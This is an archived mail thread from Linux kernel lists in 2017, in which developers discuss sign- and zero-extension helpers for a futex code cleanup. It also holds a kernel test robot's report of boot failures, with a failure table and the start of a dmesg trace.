> 	   (sizeof(x) <= sizeof(u32)))				\
> 	  ? zex32((x),(y)) : zex64((x),(y))))
> 

From - Thu Nov 08 21:39:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 1/3] futex: remove duplicated code
Date: Sat, 04 Mar 2017 15:03:50 -0800
Lines: 86
Approved: news@gmane.org
Message-ID: <201703042304.v24N4Afu010968__14754.4373562143$1488669004$gmane$org@mail.zytor.com>
References: <20170303122712.13353-1-jslaby@suse.cz> <20170304130550.GT21222@n2100.armlinux.org.uk> <3994975e-89a5-d2b5-60be-a8633ddc3733@zytor.com> <20170304213805.GA2449@lianli.shorne-pla.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=utf-8
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1488669004 24594 195.159.176.226 (4 Mar 2017 23:10:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 4 Mar 2017 23:10:04 +0000 (UTC)
User-Agent: K-9 Mail for Android
Cc: Russell King - ARM Linux <linux@armlinux.org.uk>,
        Jiri Slaby <jslaby@suse.cz>, akpm@linux-foundation.org,
        linux-kernel@vger.kernel.org, Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
To: Stafford Horne <shorne@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 05 00:09:55 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ckIoB-0007K4-U6
	for glpp-linux-parisc@m.gmane.org; Sun, 05 Mar 2017 00:09:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752539AbdCDXJy convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 4 Mar 2017 18:09:54 -0500
Original-Received: from terminus.zytor.com ([65.50.211.136]:58560 "EHLO mail.zytor.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752312AbdCDXJv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 4 Mar 2017 18:09:51 -0500
Original-Received: from [IPv6:2607:fb90:a52c:6f95:e53a:dba2:f79c:fb99] ([172.58.33.172])
        (authenticated bits=0)
        by mail.zytor.com (8.15.2/8.14.5) with ESMTPSA id v24N4Afu010968
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
        Sat, 4 Mar 2017 15:04:12 -0800
In-Reply-To: <20170304213805.GA2449@lianli.shorne-pla.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27302
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27302>

<davem@davemloft.net>,Chris Metcalf <cmetcalf@mellanox.com>,Thomas Gleixner <tglx@linutronix.de>,Ingo Molnar <mingo@redhat.com>,Chris Zankel <chris@zankel.net>,Max Filippov <jcmvbkbc@gmail.com>,Arnd Bergmann <arnd@arndb.de>,x86@kernel.org,linux-alpha@vger.kernel.org,linux-snps-arc@lists.infradead.org,linux-arm-kernel@lists.infradead.org,linux-hexagon@vger.kernel.org,linux-ia64@vger.kernel.org,linux-mips@linux-mips.org,openrisc@lists.librecores.org,linux-parisc@vger.kernel.org,linuxppc-dev@lists.ozlabs.org,linux-s390@vger.kernel.org,linux-sh@vger.kernel.org,sparclinux@vger.kernel.org,linux-xtensa@linux-xtensa.org,linux-arch@vger.kernel.org
From: hpa@zytor.com
Message-ID: <9B46AFA6-C422-41FD-8E8A-356E44A6DCD2@zytor.com>

On March 4, 2017 1:38:05 PM PST, Stafford Horne <shorne@gmail.com> wrote:
>On Sat, Mar 04, 2017 at 11:15:17AM -0800, H. Peter Anvin wrote:
>> On 03/04/17 05:05, Russell King - ARM Linux wrote:
>> >>  
>> >> +static int futex_atomic_op_inuser(int encoded_op, u32 __user
>*uaddr)
>> >> +{
>> >> +	int op = (encoded_op >> 28) & 7;
>> >> +	int cmp = (encoded_op >> 24) & 15;
>> >> +	int oparg = (encoded_op << 8) >> 20;
>> >> +	int cmparg = (encoded_op << 20) >> 20;
>> > 
>> > Hmm.  oparg and cmparg look like they're doing these shifts to get
>sign
>> > extension of the 12-bit values by assuming that "int" is 32-bit -
>> > probably worth a comment, or for safety, they should be "s32" so
>it's
>> > not dependent on the bit-width of "int".
>> > 
>> 
>> For readability, perhaps we should make sign- and zero-extension an
>> explicit facility?
>
>There is some of this in already here, 32 and 64 bit versions:
>
>  include/linux/bitops.h
>
>Do we really need zero extension? It seems the same.
>
>Example implementation from bitops.h
>
>static inline __s32 sign_extend32(__u32 value, int index)
>{
>        __u8 shift = 31 - index;
>        return (__s32)(value << shift) >> shift;
>}
>
>> /*
>>  * Truncate an integer x to n bits, using sign- or
>>  * zero-extension, respectively.
>>  */
>> static inline __const_func__ s32 sex32(s32 x, int n)
>> {
>>   return (x << (32-n)) >> (32-n);
>> }
>> 
>> static inline __const_func__ s64 sex64(s64 x, int n)
>> {
>>   return (x << (64-n)) >> (64-n);
>> }
>> 
>> #define sex(x,y)						\
>> 	((__typeof__(x))					\
>> 	 (((__builtin_constant_p(y) && ((y) <= 32)) ||		\
>> 	   (sizeof(x) <= sizeof(s32)))				\
>> 	  ? sex32((x),(y)) : sex64((x),(y))))
>> 
>> static inline __const_func__ u32 zex32(u32 x, int n)
>> {
>>   return (x << (32-n)) >> (32-n);
>> }
>> 
>> static inline __const_func__ u64 zex64(u64 x, int n)
>> {
>>   return (x << (64-n)) >> (64-n);
>> }
>> 
>> #define zex(x,y)						\
>> 	((__typeof__(x))					\
>> 	 (((__builtin_constant_p(y) && ((y) <= 32)) ||		\
>> 	   (sizeof(x) <= sizeof(u32)))				\
>> 	  ? zex32((x),(y)) : zex64((x),(y))))
>> 

Signed versus unsigned...
-- 
Sent from my Android device with K-9 Mail. Please excuse my brevity.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 1/3] futex: remove duplicated code
Date: Sat, 04 Mar 2017 15:08:50 -0800
Lines: 86
Approved: news@gmane.org
Message-ID: <201703042308.v24N8wvh012716__39857.0174621001$1488669243$gmane$org@mail.zytor.com>
References: <20170303122712.13353-1-jslaby@suse.cz> <20170304130550.GT21222@n2100.armlinux.org.uk> <3994975e-89a5-d2b5-60be-a8633ddc3733@zytor.com> <20170304213805.GA2449@lianli.shorne-pla.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=utf-8
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1488669243 18314 195.159.176.226 (4 Mar 2017 23:14:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 4 Mar 2017 23:14:03 +0000 (UTC)
User-Agent: K-9 Mail for Android
Cc: Russell King - ARM Linux <linux@armlinux.org.uk>,
        Jiri Slaby <jslaby@suse.cz>, akpm@linux-foundation.org,
        linux-kernel@vger.kernel.org, Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
To: Stafford Horne <shorne@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 05 00:13:56 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ckIs2-0006bM-Fb
	for glpp-linux-parisc@m.gmane.org; Sun, 05 Mar 2017 00:13:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752521AbdCDXNz convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 4 Mar 2017 18:13:55 -0500
Original-Received: from terminus.zytor.com ([65.50.211.136]:58738 "EHLO mail.zytor.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752186AbdCDXNw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 4 Mar 2017 18:13:52 -0500
Original-Received: from nexus6.hos.anvin.org (c-24-5-245-234.hsd1.ca.comcast.net [24.5.245.234] (may be forged))
        (authenticated bits=0)
        by mail.zytor.com (8.15.2/8.14.5) with ESMTPSA id v24N8wvh012716
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
        Sat, 4 Mar 2017 15:08:59 -0800
In-Reply-To: <20170304213805.GA2449@lianli.shorne-pla.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27303
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27303>

<davem@davemloft.net>,Chris Metcalf <cmetcalf@mellanox.com>,Thomas Gleixner <tglx@linutronix.de>,Ingo Molnar <mingo@redhat.com>,Chris Zankel <chris@zankel.net>,Max Filippov <jcmvbkbc@gmail.com>,Arnd Bergmann <arnd@arndb.de>,x86@kernel.org,linux-alpha@vger.kernel.org,linux-snps-arc@lists.infradead.org,linux-arm-kernel@lists.infradead.org,linux-hexagon@vger.kernel.org,linux-ia64@vger.kernel.org,linux-mips@linux-mips.org,openrisc@lists.librecores.org,linux-parisc@vger.kernel.org,linuxppc-dev@lists.ozlabs.org,linux-s390@vger.kernel.org,linux-sh@vger.kernel.org,sparclinux@vger.kernel.org,linux-xtensa@linux-xtensa.org,linux-arch@vger.kernel.org
From: hpa@zytor.com
Message-ID: <CF18535E-39E7-44D3-88D0-80B9961E6681@zytor.com>

On March 4, 2017 1:38:05 PM PST, Stafford Horne <shorne@gmail.com> wrote:
>On Sat, Mar 04, 2017 at 11:15:17AM -0800, H. Peter Anvin wrote:
>> On 03/04/17 05:05, Russell King - ARM Linux wrote:
>> >>  
>> >> +static int futex_atomic_op_inuser(int encoded_op, u32 __user
>*uaddr)
>> >> +{
>> >> +	int op = (encoded_op >> 28) & 7;
>> >> +	int cmp = (encoded_op >> 24) & 15;
>> >> +	int oparg = (encoded_op << 8) >> 20;
>> >> +	int cmparg = (encoded_op << 20) >> 20;
>> > 
>> > Hmm.  oparg and cmparg look like they're doing these shifts to get
>sign
>> > extension of the 12-bit values by assuming that "int" is 32-bit -
>> > probably worth a comment, or for safety, they should be "s32" so
>it's
>> > not dependent on the bit-width of "int".
>> > 
>> 
>> For readability, perhaps we should make sign- and zero-extension an
>> explicit facility?
>
>There is some of this in already here, 32 and 64 bit versions:
>
>  include/linux/bitops.h
>
>Do we really need zero extension? It seems the same.
>
>Example implementation from bitops.h
>
>static inline __s32 sign_extend32(__u32 value, int index)
>{
>        __u8 shift = 31 - index;
>        return (__s32)(value << shift) >> shift;
>}
>
>> /*
>>  * Truncate an integer x to n bits, using sign- or
>>  * zero-extension, respectively.
>>  */
>> static inline __const_func__ s32 sex32(s32 x, int n)
>> {
>>   return (x << (32-n)) >> (32-n);
>> }
>> 
>> static inline __const_func__ s64 sex64(s64 x, int n)
>> {
>>   return (x << (64-n)) >> (64-n);
>> }
>> 
>> #define sex(x,y)						\
>> 	((__typeof__(x))					\
>> 	 (((__builtin_constant_p(y) && ((y) <= 32)) ||		\
>> 	   (sizeof(x) <= sizeof(s32)))				\
>> 	  ? sex32((x),(y)) : sex64((x),(y))))
>> 
>> static inline __const_func__ u32 zex32(u32 x, int n)
>> {
>>   return (x << (32-n)) >> (32-n);
>> }
>> 
>> static inline __const_func__ u64 zex64(u64 x, int n)
>> {
>>   return (x << (64-n)) >> (64-n);
>> }
>> 
>> #define zex(x,y)						\
>> 	((__typeof__(x))					\
>> 	 (((__builtin_constant_p(y) && ((y) <= 32)) ||		\
>> 	   (sizeof(x) <= sizeof(u32)))				\
>> 	  ? zex32((x),(y)) : zex64((x),(y))))
>> 

Also, i strongly believe that making it syntactically cumbersome encodes people to open-code it which is bad...
-- 
Sent from my Android device with K-9 Mail. Please excuse my brevity.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rich Felker <dalias@libc.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/3] futex: remove duplicated code
Date: Sun, 5 Mar 2017 20:52:07 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20170306015207.GN1520@brightrain.aerifal.cx>
References: <20170303122712.13353-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1488765196 4726 195.159.176.226 (6 Mar 2017 01:53:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Mar 2017 01:53:16 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Mar 06 02:53:07 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048035.atla03.us.yomura.com ([107.189.48.35])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ckhpf-0008Ny-R9
	for sgi-linux-mips@gmane.org; Mon, 06 Mar 2017 02:53:03 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048035.atla03.us.yomura.com (Halon) with ESMTP
	id a4a6eeea-020f-11e7-b156-b499baabecb2;
	Mon, 06 Mar 2017 01:53:07 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:47172 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993882AbdCFBxDvUJAt (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 6 Mar 2017 02:53:03 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 06 Mar 2017 02:52:50 +0100 (CET)
Original-Received: from 216-197-64-233.tingfiber.com ([216.197.64.233]:32996 "EHLO
        brightrain.aerifal.cx" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23993876AbdCFBwnaNrOt (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 6 Mar 2017 02:52:43 +0100
Original-Received: from dalias by brightrain.aerifal.cx with local (Exim 3.15 #2)
        id 1ckhol-0002PB-00; Mon, 06 Mar 2017 01:52:07 +0000
Content-Disposition: inline
In-Reply-To: <20170303122712.13353-1-jslaby@suse.cz>
X-archive-position: 57044
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: dalias@libc.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58207 gmane.linux.kernel:2423841 gmane.linux.ports.alpha:4115 gmane.linux.kernel.arc:2194 gmane.linux.ports.arm.kernel:562709 gmane.linux.ports.hexagon:1142 gmane.linux.ports.ia64:27681 gmane.linux.ports.parisc:27304 gmane.linux.ports.ppc64.devel:139238 gmane.linux.ports.sh.devel:55112 gmane.linux.ports.sparc:24681 gmane.linux.kernel.cross-arch:35364
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58207>

On Fri, Mar 03, 2017 at 01:27:10PM +0100, Jiri Slaby wrote:
> There is code duplicated over all architecture's headers for
> futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
> and comparison of the result.
> 
> Remove this duplication and leave up to the arches only the needed
> assembly which is now in arch_futex_atomic_op_inuser.
> 
> Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
> remove pointless access_ok() checks") as access_ok there returns true.
> We introduce it back to the helper for the sake of simplicity (it gets
> optimized away anyway).

Overall I'm in favor of this patch, and it's close to what I had in
mind in the commit message for
00b73d8d1b7131da03aec73011a7286f566fe87f. But I'd actually like to see
it go further. These ops are mainly (only?) used for the (almost never
used) FUTEX_WAKE_OP operation, and there's very little sense in trying
to optimize them with dedicated arch-specific forms like "lock xadd".
Instead the entire logic should be in an arch-generic file, and all
the arch should need to provide is a cmpxchg-on-user-memory primitive
for it to use. On most archs, the same cmpxchg used in kernelspace
should also work for user addresses, meaning a huge amount of
unmaintained, largely untested, junk code can be removed.

Rich



From - Thu Nov 08 21:39:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kernel test robot <fengguang.wu@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.documentation
Subject: [arch] ad21fc4faa:  INFO: trying to register non-static key.
Date: Mon, 06 Mar 2017 18:17:48 +0800
Lines: 7531
Approved: news@gmane.org
Message-ID: <58bd374c.JhGN46g15W1Q1HFD%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="=_58bd374c.J3Hg7F/xfixvxDlduekC4sw75YkQEkERg00qVSlCOnSudHP3"
X-Trace: blaine.gmane.org 1488795543 3691 195.159.176.226 (6 Mar 2017 10:19:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Mar 2017 10:19:03 +0000 (UTC)
User-Agent: Heirloom mailx 12.5 6/20/10
Cc: LKP <lkp@01.org>, linux-s390@vger.kernel.org,
        linux-parisc@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        linux-kernel@vger.kernel.org, linux-doc@vger.kernel.org,
        Kees Cook <keescook@chromium.org>, wfg@linux.intel.com
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 06 11:18:50 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ckpj4-0006pi-Ui
	for glk-linux-kernel-3@m.gmane.org; Mon, 06 Mar 2017 11:18:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932136AbdCFKSl (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 6 Mar 2017 05:18:41 -0500
Original-Received: from mga11.intel.com ([192.55.52.93]:29342 "EHLO mga11.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752785AbdCFKST (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Mar 2017 05:18:19 -0500
Original-Received: from orsmga004.jf.intel.com ([10.7.209.38])
  by fmsmga102.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 06 Mar 2017 02:18:17 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.35,253,1484035200"; 
   d="gz'50?scan'50,208,50";a="64654849"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by orsmga004.jf.intel.com with ESMTP; 06 Mar 2017 02:18:12 -0800
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1ckpkZ-000R6s-AN; Mon, 06 Mar 2017 18:20:19 +0800
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2424144 gmane.linux.ports.parisc:27305 gmane.linux.ports.arm.kernel:562789 gmane.linux.documentation:45355
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2424144>

This is a multi-part message in MIME format.

--=_58bd374c.J3Hg7F/xfixvxDlduekC4sw75YkQEkERg00qVSlCOnSudHP3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Greetings,

0day kernel testing robot got the below dmesg and the first bad commit is

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git master

commit ad21fc4faa2a1f919bac1073b885df9310dbc581
Author:     Laura Abbott <labbott@redhat.com>
AuthorDate: Mon Feb 6 16:31:57 2017 -0800
Commit:     Kees Cook <keescook@chromium.org>
CommitDate: Tue Feb 7 12:32:52 2017 -0800

    arch: Move CONFIG_DEBUG_RODATA and CONFIG_SET_MODULE_RONX to be common
    
    There are multiple architectures that support CONFIG_DEBUG_RODATA and
    CONFIG_SET_MODULE_RONX. These options also now have the ability to be
    turned off at runtime. Move these to an architecture independent
    location and make these options def_bool y for almost all of those
    arches.
    
    Signed-off-by: Laura Abbott <labbott@redhat.com>
    Acked-by: Ingo Molnar <mingo@kernel.org>
    Acked-by: Heiko Carstens <heiko.carstens@de.ibm.com>
    Signed-off-by: Kees Cook <keescook@chromium.org>

0c744ea4f7  Linux 4.10-rc2
ad21fc4faa  arch: Move CONFIG_DEBUG_RODATA and CONFIG_SET_MODULE_RONX to be common
+-------------------------------------------------------+-----------+------------+
|                                                       | v4.10-rc2 | ad21fc4faa |
+-------------------------------------------------------+-----------+------------+
| boot_successes                                        | 920       | 732        |
| boot_failures                                         | 0         | 659        |
| Oops:#[##]                                            | 0         | 657        |
| EIP:__lock_acquire                                    | 0         | 187        |
| Kernel_panic-not_syncing:Fatal_exception_in_interrupt | 0         | 152        |
| BUG:unable_to_handle_kernel                           | 0         | 558        |
| WARNING:at_lib/list_debug.c:#__list_del_entry_valid   | 0         | 99         |
| EIP:rb_erase                                          | 0         | 11         |
| Kernel_panic-not_syncing:Fatal_exception              | 0         | 503        |
| WARNING:at_lib/list_debug.c:#__list_add_valid         | 0         | 34         |
| EIP:__dev_remove_pack                                 | 0         | 36         |
| EIP:SyS_syncfs                                        | 0         | 1          |
| EIP:filp_close                                        | 0         | 239        |
| INFO:trying_to_register_non-static_key                | 0         | 11         |
| EIP:netlink_update_listeners                          | 0         | 17         |
| EIP:bpf_prog_free                                     | 0         | 39         |
| EIP:__fget_light                                      | 0         | 10         |
| EIP:netlink_compare                                   | 0         | 4          |
| EIP:ip_mc_drop_socket                                 | 0         | 20         |
| EIP:inet_release                                      | 0         | 15         |
| EIP:notifier_chain_unregister                         | 0         | 1          |
| EIP:__purge_vmap_area_lazy                            | 0         | 9          |
| WARNING:at_mm/vmalloc.c:#__vunmap                     | 0         | 4          |
| EIP:hashbin_insert                                    | 0         | 5          |
| EIP:__wake_up_common                                  | 0         | 8          |
| EIP:vfs_getattr_nosec                                 | 0         | 2          |
| EIP:sk_del_node_init                                  | 0         | 13         |
| BUG:spinlock_lockup_suspected_on_CPU                  | 0         | 3          |
| EIP:spin_dump                                         | 0         | 3          |
| EIP:SYSC_setsockopt                                   | 0         | 1          |
| EIP:find_vmap_area                                    | 0         | 3          |
| EIP:fanout_add                                        | 0         | 2          |
| EIP:lookup_address_in_pgd                             | 0         | 1          |
| EIP:packet_release                                    | 0         | 3          |
| EIP:notifier_chain_register                           | 0         | 1          |
| EIP:rht_head_hashfn                                   | 0         | 1          |
| EIP:vfs_fsync_range                                   | 0         | 1          |
| WARNING:at_kernel/locking/lockdep.c:#__lock_acquire   | 0         | 1          |
| EIP:do_sys_poll                                       | 0         | 1          |
| EIP:alloc_vmap_area                                   | 0         | 2          |
| EIP:__bpf_prog_release                                | 0         | 1          |
| EIP:rht_deferred_worker                               | 0         | 1          |
| EIP:hashbin_find                                      | 0         | 1          |
| EIP:__hlist_del                                       | 0         | 1          |
| EIP:statfs_by_dentry                                  | 0         | 1          |
| EIP:__unix_find_socket_byname                         | 0         | 2          |
| EIP:dnotify_flush                                     | 0         | 1          |
| EIP:SyS_fchdir                                        | 0         | 1          |
| EIP:__sock_create                                     | 0         | 1          |
| BUG:kernel_reboot-without-warning_in_test_stage       | 0         | 1          |
+-------------------------------------------------------+-----------+------------+

[   20.394006] irda_setsockopt: not allowed to set MAXSDUSIZE for this socket type!
[   20.898917] Fix your initscripts?
[   20.902677] mmap: trinity-c0 (1985) uses deprecated remap_file_pages() syscall. See Documentation/vm/remap_file_pages.txt.
[   20.907974] warning: process `trinity-c0' used the obsolete bdflush system call
[   20.909084] Fix your initscripts?
[   20.914000] INFO: trying to register non-static key.
[   20.914591] the code is fine but needs lockdep annotation.
[   20.915204] turning off the locking correctness validator.
[   20.915819] CPU: 0 PID: 395 Comm: trinity-main Not tainted 4.10.0-rc2-00001-gad21fc4 #1
[   20.916745] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.9.3-20161025_171302-gandalf 04/01/2014
[   20.917897] Call Trace:
[   20.918254]  show_stack+0x5c/0x60
[   20.918693]  dump_stack+0x16/0x18
[   20.919122]  register_lock_class+0x11a/0x2d5
[   20.919633]  ? pvclock_clocksource_read+0xdd/0x1e0
[   20.920183]  __lock_acquire+0xd9/0x55e
[   20.920707]  lock_acquire+0x93/0xf5
